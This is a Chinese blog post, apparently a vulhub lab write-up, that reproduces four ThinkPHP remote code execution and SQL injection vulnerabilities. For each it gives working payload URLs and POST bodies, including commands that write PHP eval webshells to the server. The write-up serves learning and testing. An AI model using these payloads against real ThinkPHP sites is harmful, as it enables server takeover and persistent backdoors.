vulhub系列之thinkphp(2-rce、5.0.23-rce、5-rce、in-sqlinjection)

大家好,我是小城,一个刚刚起步的学渣,笨鸟先飞,可惜我领悟得太晚。但从现在开始,我会努力加油进取变强!





thinkphp 2-rce



0x01 漏洞原理

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
implode( d e p r , depr, depr,paths)作用就是把路径当作参数放进了数组$depr里面





0x02 漏洞影响版本

Thinkphp 2.x, Thinkphp 3.0版本(Lite模式)



0x03 漏洞复现
在这里插入图片描述

可见靶场已经搭建成功。

构造payload:http://192.168.71.141:8080/?s=/Index/index/L/${@phpinfo()}
在这里插入图片描述

写入一句话木马:
http://192.168.71.141:8080/?s=/Index/index/name/${@print%28eval%28$_POST[1]%29%29}

在这里插入图片描述
用蚁剑连接,成功getshell

在这里插入图片描述





5.0.23远程代码执行



0x01 漏洞原理

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。




0x02 漏洞影响版本

5.x < 5.1.31, <= 5.0.23




0x03 漏洞复现

可利用得位置:

/index.php?s=captcha

在这里插入图片描述
用hackbar写入以下payload
POST data为:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

在这里插入图片描述

可以看到,我们输入的参数在前端页面显示了出来。完美执行,
接下来我们写入一句话木马试试看能不能getshell。

此时需要特别注意的是,在linux中,以$开头的将会被当成参数去除掉,所以我们需要在 $前面加上个\。

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST[1])?>" >> test.php

在这里插入图片描述

成功getshell。
其实还有另一种方式,就是将一句话木马的内容构造成base64加密写入payload中,payload如下:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pPz4="|base64 -d >> 123.php




5-rce

0x01 漏洞原理

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

0x02 漏洞影响版本

THINKPHP 5.0.5-5.0.22

THINKPHP 5.1.0-5.1.30

0x03 漏洞复现

可利用点:

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
在这里插入图片描述

vars[0]用来接收函数名,vars[1][]用来接收参数
如:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

在这里插入图片描述
会在屏幕上打出123和我们输入的字符串长度

写入一句话木马getshell
使用file_put_contents函数写入shell:

vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php

在这里插入图片描述

也是成功getshell!






In-sqlinjection-rce


0x01 漏洞原理

在 Builder 类的 parseData 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。


0x02 漏洞影响版本

5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5


0x03 漏洞复现

利用位置

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值